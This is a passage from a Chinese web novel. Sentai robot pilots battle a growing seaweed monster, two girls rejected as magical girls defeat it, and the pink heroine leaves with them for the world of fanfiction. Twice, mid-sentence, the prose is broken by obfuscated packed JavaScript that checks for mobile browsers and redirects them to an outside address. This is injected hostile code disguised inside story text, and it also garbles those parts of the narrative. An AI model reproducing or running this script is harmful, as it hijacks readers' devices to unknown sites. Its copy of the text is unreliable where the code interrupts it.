——毫无预兆的一瞬间,我的耳边响起“嗡”的震响。视野摇晃了,大脑凝固了,呼吸滞涩了,骨骼和肌肉都在这一声“嗡”里颤动起来,好像有一根针刺进了我的脊柱,我没法站立了。过了不知多久,一秒?一分钟?一小时?总之,这一刻的停顿过后,声音褪去,我回过神,发现自己坐倒在地。管理员困惑地看着我,音速粉半跪在我身后扶住我。 “你怎么了,身体不舒服吗,”音速粉问我,“突然倒下来,吓我一跳。” 她们听不到那个声音吗? 我刚要站起来,视野突然再次晃动——不对,这一次晃的不是我,是地面。周围的桌椅翻倒了,椰子接连坠地,世界好像被放进榨汁机,刀片正在缓缓启动。音速粉和管理员也被这景象愣住,一时呆站着,没有反应。 天空暗下来,海面传来轰鸣。我转头一看,阳光被巨大的阴影遮蔽,而那团阴影还在飞快膨胀。 是海藻球,它越来越大了。我能看清那些藻类的绒毛互相纠缠,仿佛人类的手臂紧握在一起,它们的呼吸声变得非常奇怪,像是痛苦的尖叫和嘶鸣,我不得不半捂住耳朵。音速紫呢?她不会也被击落了吧。我努力睁开眼睛,在空中寻找——还好,那台紫色蝙蝠机器人还悬停在半空,从海藻球的边缘露出一个小小的翅膀尖。 地面的颤动渐渐息止,但海藻球开始搏动了。它就像一颗心脏,每一次的膨胀收缩都掀起滔天巨浪。浪潮翻卷着扑涌而来,淹没沙滩,打湿我的脚踝,再一次是小腿,再一次是膝盖,再一次,我的半身都浸没在水里。 “嗷”的一声,昏迷中的绿T恤从烂湿的沙地里跳起,沾着满身沙子跌跌撞撞地跑走了。我就知道,他肯定早醒了。 “……这也是剧情的一部分吗?”音速粉指着那团快要吞没太阳的巨大毛球问道。管理员回过神,脸色一阵红一阵白,点着手机屏幕的手指也在颤抖,一个号码一连按错几次。我听到她齿缝间掉出的自言自语:“怎么回事……监控室在干什么……” 怎么回事,这不是安排好的? 19.魔法少女? 两架鸟型机器人从地平线飞来,红色的和绿色的。原来绿T恤是跑去找红色沙滩裤了。他们迅速与半空的音速紫汇合,向海藻球发动攻击。但那点炮火落在海藻球上,就像K往煎饼上撒芝麻。 “不行,体型相差太悬殊了,”音速粉望着天空,像是在自言自语,“不合体组成巨大机器人的话,没法和这东西对抗。” 但是蓝色和黄色都被击落了,现在能用的只有三架机体——不,算上音速粉,是四架。可即便如此,还是没法凑齐五人。 海藻球发出一声怪异的尖啸,也许是组成它的上亿团海藻同时排气发出的。它颤动着扭转身躯,浑身各处爆射出墨绿色的水柱,搅碎海浪,洞穿礁石,最粗的一束笔直射向红色猎隼机器人——他一个横滚避开了,没有成为被击落的第三人。 与此同时,管理员终于打通了电话。 “这鬼东西的状态不对,监控室的人呢?启动应急预案!”她握着手机大吼,“我要申请增加参战机体,就现在,马上!增加一架战斗机器人,装备实战武器!别管造型了,火力配到最大——” 她的话还没有说完,音速粉突然猛冲上前扑倒了她,她的手机脱手而出。电光石火的下一瞬,一束水柱贴着海面激射而来,准确地命中手机。那块厚重的电子通讯器毫无抵抗地碎了,落在她们刚刚站立的位置,仿佛只是一支巧克力脆皮雪糕。 两人重重摔在沙地上。管理员浑身都是沙子,头发也被打湿,乱糟糟地贴着脸。她从地上直起身,呼吸一次比一次更沉重,更急促。恐惧在这一刻才压过了她的愤怒。 “你快跑吧!”音速粉转头对我说,“你不是这个故事的角色,在这里受伤的话,可能……反正,你快跑!快离开这里!” “等等!”管理员突然开口喊道,“我已经向监控室申请了,战斗机器人马上就会到位——你不能走,留在这里,不然凑不齐合体人数!” 啊?我?合体?我愣愣地看她。初次见面而已,她未免也太信任我了吧? 音速粉也愣了一下,然后立刻转身朝她的鸽子机器人跑去。管理员慢慢收起恐慌的神情,看着她的背影满意地点头。 “仁美,你果然很聪明,又做了正确的决定,”管理员朝她大声说道,“看在你救了我的份上,刚才那些话我就当没听见。你依旧是粉色战士,当然,说好的战斗权限我也会给你。至于你的替身——” “你不要搞错了,我救你不是因为我想继续卖玩具,”音速粉在驾驶舱前停住,转过身看她,“我是超级英雄,超级英雄不会对任何人见死不救——现在我要去击退怪物,为了她能安全地回去。” 粉红色机器人打开了驾驶舱。音速粉翻身跳入舱体,舱门关闭,合金鸽子振翅飞上天空。海藻球立刻注意到了她,水柱像箭一样朝她齐齐射来。音速粉操控机体灵巧地避过攻击,鸽子的羽翼朝两旁张开,合金羽根发射出粉红色的爱心光弧——不行,战斗权限还没有开放,她发射的依旧是治愈光波。粉红色光弧打在海藻球上,它摇晃着膨胀开来,比刚才更大了。 音速粉的机体在空中悬停了一下,她的三个队友与她汇合了。不知道他们进行了怎样的交流,粉色鸽子和紫色蝙蝠盘旋着朝远处飞去,剩下的两台机体朝海藻球全力发射炮火,同时跟着她们且战且退。 他们是想吸引海藻球的注意,把它带离海岸吗?但那个巨型线团没有如他们所愿。它只被吸引了一小会儿,又开始朝沙滩执着地移动,沿途不断喷射能击穿钢铁的水柱。更不妙的是,也许是刚才治愈光波的影响,它越来越大了。恐怕要不了多久,五人合体组成的机器人也无法与它抗衡。 管理员躲在一滩礁石后,瞪大眼睛,脸色煞白。她不停地查看腕上的手表,又抬头望向天空,再转回到海面的战况。她左手的指甲已经被自己啃秃了,右手的食指也被咬出了血,但她似乎丝毫没有察觉。她不断地自言自语,嘴里翻来覆去都是“权限”“机体”“到位”“紧急”之类的词。 不太妙,情况不太妙。 我也开始不安。偷溜出来已经有段时间,店里现在是什么时候了?K发现我不在了吗?他会不会以为我是逃跑?如果我回不去了,别人问起我,他会不会对他们说,我是个自作聪明的笨蛋?不对,说不定他根本不在意我跑了,也压根不会有人发现我在不在—— 耳边的通讯器里突然传来一阵杂音,紧接着,音速粉的声音响了起来。 “你怎么还傻愣在那里,快跑呀,”她的声音听起来也十分焦躁,“刚才管理员的电话搞不好没有打通,就算打通了,监控室也许还在走流程……要是我们不能坚持到那个时候,这条世界线可能会变成废案……你快走吧!我们就算成了废案,也有机会重启,你不在这个故事里,会跟着剧情一起被抹消的!” 她顿了顿,又用更轻更细的声音开口:“把你卷进来,真对不起……早知道,那天我不该去找你的。” 话音刚落,“轰”的一声,一股水柱洞穿了绿色机器人的驾驶舱。音速粉的通讯中断了。我看到合金鸽子一个俯冲,迅速逼近正在坠落的绿色机体。粉色的治愈光波从双翼射出,穿入破损的驾驶舱,又结成一个气泡似的圆球,把受伤的音速绿包裹起来,托举着他飘出机舱,慢慢飘向岸上。 同一时间,海藻球蠕动着暴胀开来,像一块铺天盖地的巨型幕布,又像一张大嘴,一口吞掉了在一旁掩护的红色游隼。 完蛋,这下就算加上我,也凑不齐五个了。 “咔嚓”一声,管理员咬碎了右手指尖的甲盖。 又下一秒,海藻球重新团成一团,颤动,扭转。它已经比一开始的样子大上数倍,如同被忘在发酵箱里过夜的面团,几乎能填满这一片海域。它又发出一声怪异的嘶鸣,重重地翻转身体,激起滔天浪潮,像巨手朝着礁石和海岸狠狠拍落。 海藻球朝岸边滚过来了,比之前的动作更迅猛。上亿团海藻聚集在一起,散发出的腥咸海味像钉子扎进我的鼻腔。我转头去看管理员,她还没从震惊中回过神,只木木地咬着自己的手指,嘴角挂着血沫,挺括的西装已经湿透,又糊满泥沙,紧紧贴着干瘦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617508|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如柴的身体;她看上去就像一只昂贵却年老的宠物猫,刚刚狼狈地从水中爬上岸来。 我直接上前把她打横扛起,扭头就跑。 再不跑,真的要成废案了! 沙滩上已经空无一人,视野中只有东倒西歪的桌椅阳伞和椰子树。我扛着管理员夺路而逃,但沙地太湿了,我跑不快,脚步稍微大些就跌跌撞撞地要摔倒。剧烈的颠簸让管理员清醒过来,她抓着我的肩膀朝我尖叫:“不要跑!不要去市区!不要把这鬼东西带到市区去!” 担心我会把海藻球引到市区?想多了。我听着隆隆滚动声在身后越来越近,鼻尖闻到的海水味越来越浓重,虽然不愿承认,但恐怕我们根本出不了这片海滩—— 又一步迈出的瞬间,巨大的阴影落在我眼前的地面上。 同一瞬间,空气潮湿到极点,像有海水顺着呼吸从鼻子里灌进来。 我的后脚还没从沙子里提起,那一块沙地陷了下去。 前脚踏上的地面也陷了下去。 我失去重心,身体朝前扑倒。 管理员摔了出去。我听到她的喉头震出一声闷哼,某处的骨骼也发出断裂的脆响。 我跟着摔倒了,一头扎进泥里。那团湿漉漉的影子把我覆盖,上亿团海藻的尖叫声几乎贴着我的头皮响起。 地面猛地一沉。来了吗? 我总觉得我昨天才发芽抽枝,还没长多高,就要变成废案了吗? 海藻的尖叫愈发高亢凄厉。我在泥沙里紧闭双眼,脑壳都被这声音震得“嗡嗡”作响。我想起被K忘在灶台上的烧水壶,不关火,它会不停地叫下去,直到把水烧干。我不敢睁眼,也不敢动弹,真希望自己还是一粒种子,在哪里摔倒,就在哪里睡觉——话又说回来,怎么那玩意光出声,这么久了也没有别的动静? 我试着抬起脖子,回头去看,刚半眯着睁开一只眼,有什么东西重重地落在地上,泥沙飞溅。我赶紧又闭上眼睛,屏住呼吸,真希望自己还是一粒种子,在哪里摔倒,就在哪里—— “太好啦,赶上叻~”熟悉的声音,连带着熟悉的口音。 ? “吓死我啦,还以为要来不及叻~”说话声软软的,嗲嗲的,甜甜的,我脑中马上就要浮现出一张熟悉的脸了。下一秒,一双又宽又大,又厚实有力,又熟悉的手一把抓住了我的肩膀。 又是甜甜的“嘿咻”一声,我被从地里拔起,视野旋转又旋转,然后我看到了那张熟悉的脸。虽然在真人剧集里,她的2D画风十分突兀,线条和色彩也比我上次见到她的时候更粗糙简单,动作还有点跳帧,但我依然从小动物似的圆溜溜的黑眼睛,奶油蛋糕一样甜美的嗓音,以及铁塔般健硕的腿部肌肉认出了她。 原来是她,怪不得拔我就像拔一株干瘪的萝卜。 等一下,她怎么会在这里?她不是这个故事的角色——应该也不是任何故事的角色了吧? “仁美,我们来帮你啦~”林雅婷笑嘻嘻地咧嘴,又看着我眨了眨眼睛,“你没受伤吧?怎么好像变小了耶?” 20.也行 没有受伤,没有变小,也不是仁美。我刚想摇头,视线一抬,看到那团海藻聚合成的潮湿黑洞,前所未有的近,前所未有的大,那些半透明的胶质叶瓣颤动着几乎能扫到我的脸。因为波长的关系,海藻们的尖叫听不见了,只是黑暗深处隐隐传来一个男人的呼救声。 是……刚吃下去的那个吧? “看,塔吉扬娜很厉害吧~就是我上次跟你说过的那个女孩子,她力气好大的呢~”林雅婷笑嘻嘻地转过头去,指着海藻球说。 塔吉扬娜?我顺着她的手指望去,终于在茂密的藻叶间,发现一个小小的身影——是个矮个女孩,从我被林雅婷提着的角度看,她几乎被海藻完全盖住,要不是她穿着明亮的黄色运动背心,我还发现不了她。她站在海藻球的正前方,张开双臂,粗糙的2D画风让她的肤色平面又单薄,白得像墙皮,但我的视线无法从她身上移开。 她的掌心凝聚起灿金的光芒,像是护盾,又像是屏障,她就像握着两团太阳,把海藻球拦在原地。海藻球的体积几乎是她的百倍,稍微往前挪动半分就会把她吞下,但不管它如何使劲颤动、摇晃,偏偏连这半分都动不了。 我想起来了,林雅婷说过,她在选拔的时候遇到一个女孩子,从北方来的,在地震中扛住了断裂的桥墩,让乡邻能有时间逃跑,所以被推荐加入魔法少女,结果却因为不够瘦而失去成为魔法少女的资格——怎么回事,我还以为是物理扛桥墩的肌肉少女,这不是完全正常的体型吗?甚至符合娇小可爱的选拔要求。 甚至她还有超能力,真正的超能力,不需要变身就能用的;这都不如腰围尺寸重要? 塔吉扬娜闷闷地哼出几个单词,一瞬间,她掌心的光芒融化了,像水一样渗入海藻交错的胶质叶瓣。海藻球被光芒注满,呈现出淡淡的琥珀色。她继续吟唱,尾音轻烟一样扬起。散发着海腥味的黑洞在她的吟唱中碎裂开来,海藻碎片四散飞溅。被吞掉的音速红“呼”地落了下来,掉在烂湿的泥沙里。 轻轻松松就干掉了必须要五台机器人合体才能打败的怪物——这都不如腰围尺寸,和走路时双膝之间的距离重要?! 半空中传来飞行器的鼓噪声,是音速粉和音速紫。她们一前一后赶来了。紫色蝙蝠在沙滩上降落,音速紫跳出驾驶舱,跑去扶起摔倒的管理员。鸽子机器人降下半空,双翼发射出两道治愈光波,一道射向我,一道射向管理员。我只觉得有一股温暖的水汽把身体包裹起来,摔倒时擦破的创口痒痒的,很快愈合了。 做完这些,鸽子机器人也降落下来。音速粉朝这边大步跑来:“谢谢你们来帮忙!多亏你们,得救了!” “奇怪叻,怎么有两个仁美?你们一模一样!”林雅婷看看音速粉,又看看我,困惑地瞪大眼睛。也对,在她的世界只要戴上眼镜假发,或者画个全妆,就没有人能认出自己,事到如今她还有这样的疑问也很正常。我拍拍她的胳膊,示意她把我放下。 绿色蓝色和黄色从不同的方向跑来了,一个个都从头湿到脚,战斗服破破烂烂地贴在身上。音速红也揉着腰从沙地里站起来,抬了抬头盔,“哗——”,泥水从头盔缝隙里倾泻而下。 “接下去怎么办?”音速紫问,她扶着管理员慢慢走过来,“怪物被打败了,这一集结束了吗?可是巨大机器人还没有出场……这种事,公司会允许吗?” 她的话音刚落,一分钟前才被打散的海藻从四面八方汇聚起来,像被磁铁吸引的铁屑,结成球,结成团,越来越大,朝着刚才的形态飞快发展。所有人都愣住了。管理员也愣了,然后深吸一口气,抬头挺胸,推开音速紫扶着自己的手。治愈光波治好了她的外伤,让她又恢复了先前的神气,只是高跟鞋不知道丢在哪儿了,使得她的气势有所减弱。 “不错,必须得让巨大机器人出场,不然这一集就没有意义——更重要的是,会影响玩具销量。你们快去准备战斗,重新来一次!”说着,管理员转向林雅婷。林雅婷比音速粉还高,管理员要使劲仰起脑袋才能看着她的脸。 “你们来帮忙,我代表个人向你们道谢,但接下去请你们不要插手了,这只会给我们添麻烦,”管理员说,脖子过度拉伸让她的发音有气无力,训话对象完全没在怕的纯洁眼神更让她心烦意乱,“你们也是自己故事中的角色,应该知道,每个故事都有各自的运行规则,剧情必须在规则之内发展。而在我们这,首要规则就是怪物必须由巨大机器人消灭,它们本身就是为了让巨大机器人有机会出场才会被创造出来的。我再说明白一些,可能话有些难听——请你们不要多管闲事。” 林雅婷眨了眨眼。音速粉好像要说什么,被旁边的人拉住了。 “可是,从外面看的话,你们这里已经是废案了耶,”林雅婷说,“所以我们才能轻轻松松进来喔。” 所有人又是一愣。海藻球在海面上疯狂生长,全力膨胀,一时间都无人关心。 (我倒是有点关心,但我的意见不重要,不必在意我。) “你说废案是什么意思?”管理员追问道。 “就是废案呀,”林雅婷说,“从外面看,你们这个节点已经不发光了,灰扑扑的——废案不都是这样的吗?再过一段时间,就会黑掉,然后就会被擦掉叻。” 管理员不说话了,若有所思地皱着眉。和监控室失联,她无从验证这番说法。偏偏面前的女孩子看上去也没聪明到会撒谎的样子——这才是最恐怖的。 “假设真的是你说的这样,你们为什么要关注我们的世界?”音速紫开口道,“这跟你们有什么关系?” “因为仁美是我的朋友嘛~”林雅婷笑嘻嘻地说,“她之前和我说过,想找人扮演——呃,没什么,就是,反正……哈哈……总之,我和塔吉扬娜有点担心她,就一直在留心这边的状况。刚才看到你们这里灰了,我想大事不好,就赶紧和她一起来叻。我想总有我们能帮得上忙的地方。”林雅婷低头转向一旁的塔吉扬娜。对方用力地点了点头。我这才发现塔吉扬娜有着淡淡的浅金色短发,和蓝玻璃似的清亮眼睛,看上去可能只有13岁,脸颊圆圆胖胖鼓鼓的,还带着一点玫瑰色的高原红——原来林雅婷说的“壮”是指婴儿肥。 所以她为什么会被淘汰?一个正在长身体的女孩子,身上有些肉,再正常不过,连这都容不下,真是小气的审美。 “可是正常来说,角色是不能轻易离开故事的,”音速紫说着,朝我看了一眼,“为什么你们说来就来?” 林雅婷一下子不笑了,红了脸,撅起嘴,又挠挠头,有些不好意思地开口:“因为……因为我们已经不是故事里的角色了呀。塔吉扬娜没成为魔法少女,我也……一开始管理员说现在流行什么……什么多样性,所以让我留下来做候补,但是得减肥。又过了几天,我还没瘦下来,他又说看观众反馈,还是喜欢小小的瘦瘦的可爱女孩子,像我这样的体型如果出现在正传故事里的话,会被骂政治正确,所以还是让我走叻——‘政治正确’是什么?是骂人的话吗?” 我也不知道那是什么东西,毕竟人类社会词汇发展的速度实在是太快了。一个鸡蛋从桌上滚下来摔破了,蛋黄还没流出来,一句刚被创造的新鲜流行语已经过时了。 但那四个字一从林雅婷口中说出,管理员的表情就变得很复杂。 “那你们可真是太有闲心了,”管理员看着她们俩说,“我们就算成了废案,好歹故事线已经展开,将来也有被重启的机会,更大的可能是把这一集删了,后续正常发展——我们可是周年纪念作,不会轻易被放弃的。你们连自己的剧情都没有,只是候补,甚至连候补都没选上,分分钟就会消失不见,你们哪来的工夫管闲事?”说着,她恍然大悟地“噢”了一声,“你们不会是想趁这个机会混进我们这儿吧?周年纪念作,很厉害吧?” 林雅婷眨了眨眼:“为什么要混进来?你们这里欢迎像我们这样不瘦也不矮的女孩子吗?” 管理员一时语塞:“……反派和路人的话,也许条件会放宽。” “不用担心啦,”林雅婷笑嘻嘻地拍拍管理员的肩,居高临下的冲击让她膝头一晃,“我们只是来帮仁美的。既然那团东西已经——” 说着,她转头朝海面望去。 所有人跟着她转头朝海面望去。 那团东西已经长到和之前一样大了。 浑圆的,巨硕的,千万亿片胶质叶瓣组成的球体在海面上颤动着旋转,透射出之前没有的十分不妙的暗绿色光芒。 “糟糕,忘了这东西还在,”音速粉说着,转向管理员,“我的战斗权限还没更新吗?” 管理员面有难色:“这我也不清楚,手机坏了……” “那我们现在根本没有战斗能力,”音速粉说,“光靠我和凛的机体只能拖延时间——” 她还没有说完,塔吉扬娜旋身蹿出,踩着水面朝海藻球奔去。她小小的身躯轻盈又灵巧,脚尖点着水波像花瓣飘落。她一路踏着海浪冲向海藻球,掌心又凝聚起灿金的光华。然后,她轻轻一跃,穿过汹涌的浪涛,双手朝前推出,两团光芒飞舞着落入海藻交错的枝叶间。顿时,海藻球的旋转停止了,海浪也渐渐平息。 这,都不如腰围尺寸,膝盖距离,下巴形状,裙子长度,以及等等,重要? 耳边突然响起“嗡”的一声,我循声转头,身边的林雅婷不见了,地上只留下她发力时踩出的脚印。她朝着海面狂奔而去,即将冲入水中的前一秒,林雅婷猛地起跳,高高跃入半空,像捕食的猎鹰一般朝着海藻球俯冲而下,双腿的每一块肌肉绷得紧紧的,坚硬如铁。她仿佛一粒出膛的炮/弹,瞄准,命中,然后贯穿。 “噗通”一声,林雅婷掉进水里,激起高高的浪花。我想起她在美术教室的那场战斗——没成为魔法少女,绷着那身紧巴巴的小裙子,真是太好了。 下一秒,静止的海藻球从中间碎裂开来。塔吉扬娜踩着水面走上前,再次伸手把掌心的光芒注入其中。千万亿团海藻同时焕发出金色的光点,然后四散分离。一瞬间,海面像被天空的群星填满。 一呼一吸之后,星星安静地熄灭了,海藻球也彻底不见。 我这才意识到,塔吉扬娜拥有的可能是改写物理存在性质的能力。 而这,都不如……算了,没品的东西,他们不配评价她。 林雅婷从水里探出头来,咧着嘴笑嘻嘻地朝这边挥手,刚挥了两下又突然一愣,尴尬地挠挠头:“不好不好,又多管闲事叻……不过,反正已经是废案了,不管干嘛都不会影响后面的剧情——所以,还是保障大家的安全最重要叭?” 说完,她一头扎进水里,朝着岸边游来。 管理员长长地吐了口气,背过身走开,不再看她们。 音速粉大步跑过去,把林雅婷从水里拉起。塔吉扬娜踩着水蹦蹦跳跳地回到岸上,拍拍胳膊和腿,像只小鸭子抖掉羽毛上的水珠。发现我在看她,她眨了眨眼,又害羞地把头转开了。 “那我们就走啦,”林雅婷顶着湿漉漉的头发笑嘻嘻地说,“你们加油喔~好不容易成为超级英雄,一定要好好战斗!” “你们要去哪儿?”音速粉问,“你们已经没有自己的故事了吧?” 林雅婷看看塔吉扬娜,塔吉扬娜又看看她。两人都没说话。 管理员又走了过来,神情有些缓和:“这一集算是结束了,你们确实帮了很大的忙。回去之后,我会跟监控室反馈……再争取一下,能不能帮你们安排两个不太重要的角色……不管怎么样,没有剧情可以依附的人物,最后都会消失的。” “不会哦~这里可是AP0813。我们既然存在,就不会那么容易消失,”林雅婷摇摇头,“你们应该也不需要我们这样的角色。何况我们画风不一致——收留我们,你们会为难,做个面目模糊的背景板,我们又不喜欢。所以不用勉强啦,搞得好像我们很可怜一样,我们都不觉得自己可怜诶~” 管理员也皱起眉头:“但你们原本是魔法少女世界线的人物,如果不能成为魔法少女——” “我说啦,这里是AP0813耶~继续不下去的剧情,被剔除的人物,有一万种方法可以继续活跃~”林雅婷重复道,“剧情规则不允许我们成为魔法少女又怎样?有个认识的姐姐告诉我说,不一定非要成为魔法少女,才有机会拯救世界。会拿笔的人,就会写,会画,会创作,就算什么都不会,脑海里也会有自己的小世界——只要存在,就有机会实现。只要有世界诞生,我们就有机会展开自己的故事。” 管理员愣了一下,眉头更深地皱起:“你们要去同人线……?” “对,对,叫‘同人’,”林雅婷恍然大悟地一拍手,“他们跟我提过,我一时想不起叫什么了——就是同人!听说那里有数不清的世界线,每个角色都有无数个平行的自己。死去的人会复活,离开的人会归来,再也不能见面的两人会永远幸福地生活在一起,就连被怪物吃掉的狗狗也会摇着尾巴跑过来……那里没有病痛,没有衰老,也没有悲伤,像我们这样不能成为超级英雄的小角色,也会有机会大展身手!如果运气好,同人剧情还有机会成为正式的故事线——哇,真是不敢想~” “同人”,店里的客人偶尔也谈起过这个词。我只知道那是个汪洋宇宙,浩瀚无垠。与其他从世界线主线上分离的支线不同,同人是平行于另一维度的故事,是包裹在世界线之外的更大的世界。我不知道那地方在哪儿,从来没有那里的客人点过餐。但提起它的客人,总是一脸复杂的神情。 果然,管理员也露出了那样的表情,然后抬手揉了揉紧皱的眉头。 “我不知道你是从哪儿听来的这些话,可能他们只是觉得你好骗吧,”管理员说,“同人是无主之地,不受因果律约束,也没有任何规则——应该说,那里的规则时刻在变化,无法预判,也无法描述,因为任何人都能书写它,改变它。我不否认确实有如你所说的那些美好的故事,但也有许多只是浸泡在荷尔蒙里的幻想。” 她停了停,眯起眼把两人上下打量:“同人会被寄托愿望,也会被用来抒发欲望。像你们这样可爱的女孩子去了那里……恐怕会发生你不喜欢的故事。” “我知道呀,”林雅婷认真地点点头,“你说的这些,我们都知道——拜托,我们只是年轻,又不是笨蛋。我也知道有很多像我们这样的小角色,就算去了同人线,也没能等到正式登场的那天,只能一直在虚无之海里漂浮。但是,只要有一个人为我们写故事,就会有新的故事线诞生,就会有新的我们诞生,作为我们继续存在,哪怕这个故事只有一句话,一格图。” 说着,她与塔吉扬娜对视一眼,又转过头,朝管理员笑:“谢谢你愿意收留我们,你虽然长得凶,但没想到是个好人耶。不过,我们还是要去那里——无限的自己,多有意思呀~每一个我都是我,又都不是我。可能如你所说,难免会出现一些不堪的剧情,但是那么多我在继续往前走,总有一个我会变成我喜欢的样子——总有一个我,会成为超级英雄,成为超级英雄才是我们的愿望!” 塔吉扬娜用力点头,点了好几下。 “……那好吧,”管理员叹了口气,“我想你们也是经过考虑才做出这样的决定的。祝你们成功……祝你们成为超级英雄。” 林雅婷与塔吉扬娜和在场的人依次道别了。男人们摘下了头盔手套,与她们挥手,音速蓝还刻意地理了理头发。我想起自己还保持着音速粉的外表,犹豫了一下,还是决定不变回去——毕竟这个过程多少有些吓人,我不希望她们把这一幕记在心里。 (说起来,我倒是想跟着她们一起去同人看看。但我已经偷溜出来很长时间了,得尽快回去;下次会有机会吧?我看人类经常把“下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655665|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次吧”“下次一定”挂在嘴边,可见凡事推到下次,成功的几率就会变大。) 林雅婷挥着手看到我了,视线在我和音速粉之间摇摆许久,最后恍然大悟:“我知道了,仁美你是找到平行世界的自己来扮演你——这么说,你也去过同人线了?” 方向正确,但结果错误。我摇头,朝林雅婷比了个踏板摩托的手势,她依旧困惑地眯着眼。算了,也许她的智慧用在其他更有用的地方。 “那么,我们走啦~”林雅婷最后笑嘻嘻地说道。塔吉扬娜的掌心又凝聚起光团。她朝着面前的空气伸出手,金色的光芒像冰一样化开,化成一片闪亮的圆弧,像是隧道的入口,正好能容纳一个人通过——她居然还拥有空间穿越的能力?呵,那些没品的东西,根本不知道自己错过了什么。 ——“等一下,”音速粉突然出声道,“我也和你们一起去。” 塔吉扬娜的手停住了,林雅婷瞪大眼睛。所有人都朝音速粉望了过来。 “我和你们一起去,我不做粉色战士了。”音速粉说着,摘掉了头盔。她的脸上湿漉漉的,大概是汗水,或者海水。精心描画的妆容被水冲刷,眼影腮红和粉底混着水珠滴落下来,反倒让她的脸呈现出健康的红润底色。 “仁美。”管理员压低了音调。 音速粉转头望向她。 “对不起,我知道你想帮我选择更好的发展,”音速粉说,“但是我的愿望也是成为超级英雄……我战斗是为了守护和平,而不是煽动孩子买花里胡哨的玩具。” “……不要胡闹,说什么气话,”管理员朝四周扫去一眼,“我刚才确实有些过分,但也是为你好——粉色战士当然是超级英雄,女孩子们买玩具,也是因为喜欢你,崇拜你,想成为像你这样的人。” 音速粉摇头:“我算什么超级英雄,我连战斗权限都没有,怪物失控了,我只能开着机体在半空打转。她们不是魔法少女,不能变身,却能轻轻松松打败敌人——我不明白,世界线的规则究竟是为了维护什么?是为了帮助我们战斗,还是限制我们的力量?” 管理员叹了口气:“你还在纠结这个。我也说了,会给你出个限定套装,战斗权限,特殊造型,大火力武器……都行,照你喜欢的来。如果这些你还是不要,我们回去之后也可以慢慢讨论。” 音速粉还是摇头。 “我不想再让坐在会议室里的人决定我的命运了,”她说,“比起任何人都能成为我,我更希望我能成为任何人——无限的分支,多有意思。不用变成魔法少女,也能拯救世界,不用驾驶机器人,也能成为超级英雄。不用别人同意,自己就有战斗权限。” 在场的人都没有再说话。几个男人面面相觑。管理员沉沉地压下眉头,盯着音速粉,视线像要一直钻进她的脑子里。 “这一集已经是废案了,会被删掉吧,浪费了珍贵的个人回,给大家添了这么大的麻烦,道多少次歉都不够……不过,个人回只是番外故事,把我和这一集一起删了,应该也不影响主线发展,”音速粉说,“只要能凑齐五个人合体,无论是谁都行,希望下一个音速粉比我更优秀……不,比我更符合世界规则的要求。” “确定想好了?”管理员问。 音速粉点点头,摘了手套,扔掉手里粉红色的头盔,转向林雅婷和塔吉扬娜。 “好哦~那我们一起走!”林雅婷用力拍手。 “一起走!”塔吉扬娜跟着点头。这是我第一次听到她说话,她的声音像冻硬的玉米糖浆。 音速粉,不对,仁美,上前挽住她们俩的手,三人并肩朝金色的传送门走去。走出两步,仁美又停下来,松开手,转身回来。 “……忘了什么没拿,还是后悔了?”管理员看着她,“年轻人做事要深思熟虑,我最后问你——” 仁美走到我面前,弯腰,用嘴唇触碰我的面颊。 ? ……? 这是在干什么? 好像是我在电视上看到过的某种社交行为? 等等,我再回忆回忆,这种行为一般出现在什么情况—— “忘了跟你道谢,”仁美抬起头来,看着我说,“还有……之前我问你,想要什么报酬,你指指嘴巴,是希望我能亲你,我没理解错吧?” ……啊,那倒不是这个意思。 不过……也行。 虽然我更希望她能教我发出帅气利落的弹舌音。 不过……也行。 也行。 “谢谢你愿意帮我,我会一直记得你的,”仁美说,“希望下次还有机会去你们店里吃饭。” 说完,她的视线又转向我身后。 “你要和我们一起来吗?”她问。 我顺着她的视线望去,看到音速紫站在那里。 “我们相处的时间不多,但我感觉你在这里也不快乐,”仁美说,“虽然你的设定比我多了些自由,可以吐槽,可以摆脸色,可以说自己想说的话,但一进入战斗,还是只能在他们旁边打转——你明明那么厉害,应该成为更耀眼的人。” 音速紫的双手环在胸前,隔着头盔歪头看她。我突然意识到,她是这里唯一没有被水打湿,也没有被泥沙弄脏的人。 紫色的头盔里传来一声闷闷的笑声。 “不瞒你说,这是我的第二个故事了,”音速紫说,“在来这里之前,我还是某个超级英雄的白月光——白月光,你知道吧?爱而不得,只在回忆和番外出场的那种。多好笑,看上去是他在追求我,但实际上,我的全部设定都依附在他身上,没有自己的过去和未来,也没法谈论与他无关的话题。就连这个角色之所以存在的原因,也是因为观众反馈,‘男主这么好的人,居然没有女朋友吗?太遗憾啦’。他没有女朋友是遗憾,我被要求一会儿高冷,一会儿活泼,一会儿是个没有感情的机器,一会儿又对他爱得发狂,做了个空壳的恋爱工具人,就不遗憾吗?最后还非要我死掉,因为正传没有我,不能突然搞出一个不存在的人,会对剧情造成干扰。当时我就想,这种没脑子的空壳挂件谁爱做谁做吧,我要到更大更宽广的世界去——还好,那个故事里的死法不是爆炸,就是掉下悬崖,都很容易逃跑。” 仁美笑起来:“那你也一起来,我们去更大的世界。” “你加油吧,”音速紫说,“我要留下来。” 仁美愣了一下。 